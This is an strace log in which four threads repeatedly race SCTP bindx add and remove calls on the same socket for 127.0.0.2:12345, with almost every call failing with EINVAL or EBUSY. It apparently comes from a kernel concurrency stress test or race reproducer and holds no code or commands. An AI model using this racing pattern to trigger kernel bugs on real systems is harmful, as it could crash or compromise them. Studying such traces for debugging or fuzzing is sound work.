[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
